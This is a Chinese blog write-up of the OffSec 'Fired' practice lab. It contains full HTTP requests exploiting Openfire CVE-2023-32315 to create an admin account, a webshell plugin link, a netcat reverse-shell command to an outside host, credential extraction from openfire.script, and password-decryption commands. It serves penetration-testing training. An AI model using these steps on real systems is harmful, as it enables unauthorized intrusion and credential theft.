OSCP Fired Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Fired

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

openfire CVE-2023-32315 –> 创建管理员用户 –> 后台上传恶意插件 –> openfire 用户权限 –> 用户旗帜

权限提升:

openfire 配置文件 –> 读取 smtp 密码 –> 密码复用得到 root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
sudo nmap -p- 192.168.212.96 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
9090/tcp open zeus-admin
9091/tcp open xmltec-xmlmail

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo nmap -p22,9090,9091 -sCV 192.168.212.96

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 51:56:a7:34:16:8e:3d:47:17:c8:96:d5:e6:94:46:46 (RSA)
| 256 fe:76:e3:4c:2b:f6:f5:21:a2:4d:9f:59:52:39:b9:16 (ECDSA)
|_ 256 2c:dd:62:7d:d6:1c:f4:fd:a1:e4:c8:aa:11:ae:d6:1f (ED25519)
9090/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-tasktracker-info:
|_ Logs: jive-ibtn jive-btn-gradient
| hadoop-datanode-info:
|_ Logs: jive-ibtn jive-btn-gradient
|_http-title: Site doesn't have a title (text/html).
9091/tcp open ssl/hadoop-tasktracker Apache Hadoop
|_ssl-date: TLS randomness does not represent time
| hadoop-tasktracker-info:
|_ Logs: jive-ibtn jive-btn-gradient
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost, DNS:*.localhost
| Not valid before: 2024-06-28T07:02:39
|_Not valid after: 2029-06-27T07:02:39
| hadoop-datanode-info:
|_ Logs: jive-ibtn jive-btn-gradient
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Openfire 未授权(CVE-2023-32315)创建管理员密码,上传恶意插件

依次访问系统 HTTP 9090、9091 端口,这里两个端口对应的为同一个系统(9091 需使用 https 访问),其中系统前端页面暴露了系统版本信息:Openfire 4.7.3。

搜索引擎检索,发现系统可能存在未授权访问(CVE-2023-32315),可通过该漏洞创建管理员用户,并在应用后台上传恶意插件,导致 RCE。

参考链接:

1
https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce

步骤一: 获取 token 和 csrf 值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1

Host: 192.168.212.96:9090

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh,zh-CN;q=0.9

Connection: keep-alive

步骤二: 创建用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=7SuHckRRhLJWvYE&username=test&email=test@admin.com&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1

Host: 192.168.212.96:9090

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh,zh-CN;q=0.9

Cookie: JSESSIONID=node01n1k3akejh7qz1vghf8vz02gfn2.node0; csrf=7SuHckRRhLJWvYE

Connection: keep-alive

步骤三: 使用创建的用户登录管理员后台,注意: 登录过程非常慢,大概率是靶场环境问题,需耐心等待。

1
test/admin

步骤四: 下载参考链接中的 webshell 插件,并在后台插件页面上传。

1
https://github.com/miko550/CVE-2023-32315/raw/refs/heads/main/openfire-management-tool-plugin.jar

步骤五: 上传成功后在 Server-Server settings-management tool 找到上传后的插件,输入密码 123。

在 kali 使用 nc 监听 1234 端口,使用插件执行反弹 shell,获取到系统 openfire 用户 shell。

1
2
nc -lvnp 1234
busybox nc 192.168.45.241 1234 -e /bin/bash

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Openfire smtp 密码复用提升至 root 权限

搜索引擎检索 Openfire 应用密码,发现其保存在 openfire.script 文件中。

至于应用的主目录可通过 ps -aux 得知。

1
ps -aux | less

openfire.script 文件包含了多个配置密码,经过尝试,最终使用 smtp 密码移动至 root 用户。

1
cat openfire.script | grep passw

1
su root  # OpenFireAtEveryone

扩展: 这里做了很多尝试,其中就包含破解 openfire 加密密码,反倒忽略了最简单的方式,关于如何破解 openfire 用户密码可以参考如下链接,需要编译链接中 jar 包。

1
https://github.com/miko550/CVE-2023-32315
1
2
3
4
5
git clone https://github.com/c0rdis/openfire_decrypt.git
sudo apt install default-jdk
javac OpenFireDecryptPass.java
java OpenFireDecryptPass a52a48e57def1a851c91e768042c5bf6078a0cac311d03fd47de71e23bdef5062cbb6f8d836d718d EOAJUe2Sqdlfqjk
java OpenFireDecryptPass 44db8ca8cf3fdd70199acd2445d5032e8ffd6fd193ba8fe4 EOAJUe2Sqdlfqjk

注意: 扩展部分使用的密文和密码均来自 openfire.script 文件,这里出题者完全可以将解密密码做为 root 密码。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Fired Write-up
https://www.f0nesec.top/2025/08/25/oscp-fired/
作者
F0ne
发布于
2025年8月25日
许可协议